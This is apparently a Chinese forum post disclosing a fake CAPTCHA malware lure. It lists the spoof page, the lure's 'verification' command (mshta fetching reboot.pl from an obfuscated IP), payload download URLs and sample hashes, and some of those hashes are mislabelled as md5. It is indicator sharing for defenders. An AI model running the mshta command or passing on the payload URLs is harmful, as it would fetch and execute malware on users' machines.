模仿页面:http删s://reviewlo删ading删.t3.st删orage.de删v/inde删x.html
人机验证复制代码:mshta ht删tp://18删5删.0xC1.0x59.0x9E/reb删oot.pl
reboot.pl下载的文件:htt删ps://qua删ntifyr.s删ite/sup删port (md5:c1dc9d15190da5e3f93ed747c240dfc6d4dea67018068fd3963e75ac6b09b7f2)
support下载文件:ht删tps://qu删antifyr.si删te/P.z删ip (md5:52494d3232ae41ad8b39aaa67eaa46328026e37d3f2aa5b7a6275225c9b53875)
有木马样本,目前没有任何杀毒软件查杀(由微步云沙箱提供),MD5也是微步云沙箱上传的 |
|
|
|
|
|
评论
直达楼层